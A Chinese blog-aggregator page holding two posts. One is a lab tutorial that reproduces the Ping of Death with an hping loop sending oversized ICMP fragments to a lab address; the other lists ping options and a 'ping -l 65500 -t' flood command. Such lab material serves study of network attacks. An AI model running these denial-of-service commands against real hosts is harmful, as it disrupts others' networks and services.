死亡之ping

模拟实现死亡之Ping(Ping of death)

一个人想着一个人 提交于 2020-01-19 01:06:24
需求描述 使用hping构造IP分片, 模拟 实现 死亡 之Ping 环境搭建 使用VMWare和Dynamips。 实现 思路 构造重装后大于65535字节的IP分片 hping 192.168.1.1 -1 -x -d 1400 -N 100 -c 1 for ((i=1;i<50;i++)) do j=`expr $i \* 1408` hping 192.168.1.1 -1 -x -d 1400 -g $j -N 100 -c 1 done hping 192.168.1.1 -1 -d 1000 -g 70400 -N 100 -c 1 实验实施 1. 在PC2上安装Hping源码包 [root@localhost ~]# tar zxf hping2.0.0-rc3.tar.gz [root@localhost ~]# ls anaconda-ks.cfg Desktop hping2.0.0-rc3.tar.gz hping2-rc3 install.log install.log.syslog [root@localhost ~]# mv hping2-rc3/ hping [root@localhost ~]# cd hping [root@localhost hping]# ./configure [root@localhost hping]# make &&

ping命令操作

这一生的挚爱 提交于 2019-12-02 14:55:09
ping ip -t 不断向目标ip发送数据包,直到强制中断 -n 发送数据包的次数 -l 数据包的大小 最高65500字节 根据返回的TTL 可以推测系统 1、WINDOWS NT/2000 TTL:128 2、WINDOWS 95/98 TTL:32 3、UNIX TTL:255 4、LINUX TTL:64 5、WIN7 TTL:64 不过可以更改注册表的TTl ,推测不是很准确。 PING -L 65500 -T IP地址 --‘死亡之ping’ 目前可以服务器禁ping,动态ip 来源: https://blog.csdn.net/qq_31443213/article/details/102777168